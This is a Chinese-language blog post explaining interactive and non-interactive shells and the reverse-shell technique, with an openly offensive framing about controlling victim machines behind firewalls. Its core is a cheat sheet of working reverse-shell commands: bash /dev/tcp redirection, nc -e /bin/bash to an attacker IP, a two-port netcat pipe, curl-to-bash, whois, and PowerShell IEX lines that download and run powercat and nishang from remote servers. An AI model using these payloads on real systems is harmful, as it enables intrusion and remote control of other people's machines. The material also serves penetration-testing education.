交互式shell与非交互式shell,反弹shell

交互shell

交互shell就是shell等待你的输入,并且立即执行你提交的命令。
这种模式被称作交互式是因为shell与用户进行交互。
这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当签退后,shell也终止了。
需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。
例如 cmd 终端 msf反弹后门shell nc反弹shell 这些都属于交互shell

非交互shell

shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。
在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结
尾,shell也就终止了。如webshell。

什么是反弹shell?

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

Linux常见的反弹shell方法

bash反弹shell

攻击机使用nc监听端口:
nc -lvp 7777
目标机运行命令:
bash -i >& /dev/tcp/ip/port 0>&1

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

 0 - stdin 代表标准输入,使用<或<<
 1 - stdout 代表标准输出,使用>或>>
 2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的(也可以把&理解为用来区分文件和文件描述符):

 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

所以bash -i >& /dev/tcp/ip/port 的意思是指
bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。
而后面再加上 0>&1是将标准输入也重定向到远程,不然只能在本地输入命令。

curl反弹shell

把bash命令写入html文件,只要文本包含bash一句话即可。
curl IP/bash.html|bash
nc启动监听
个人理解:crul访问到该ip下的文件内容当作bash的输入

whois反弹shell

nc启动监听
whois -h IP -p port pwd //反弹的shell只能执行后面带的命令

nc反弹shell

使用nc反弹shell,需要的条件是被反弹shell的机器即目标机安装了nc,也可以自己上传。

攻击机使用nc监听端口:
nc -lvp 7777
目标机运行命令:
nc -e /bin/bash 192.168.0.4 7777(攻击机IP)

-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。也就是说/bin/bash可以换成其他shell
当-e参数无法使用,可以利用到linux中的管道符

攻击机开启两个监听
nc -nvlp 6666
nc -nvlp 7777
目标机运行
nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777

这里通过在攻击机上监听两个端口,然后在使用目标机进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的6666端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的7777端口。

Windows反弹shell

1.nc反弹(与Linux大同小异)

2.powercat反弹

powercat是netcat的powershell版本
启动nc监听
在目标webshell中运行以下命令自动下载执行

以IEX下载远程PS1脚本绕过权限执行
powershell IEX (New-Object System.Net.Webclient).DownloadString('服务器上psl的路径');powercat -c IP -p port -e cmd

3.nishang反弹(与powercat大同小异)

目标机用power shell执行以下命令也可以在webshell中使用powershell下载执行

IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.103 -port 4444

4.利用MSF反弹shell模块

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值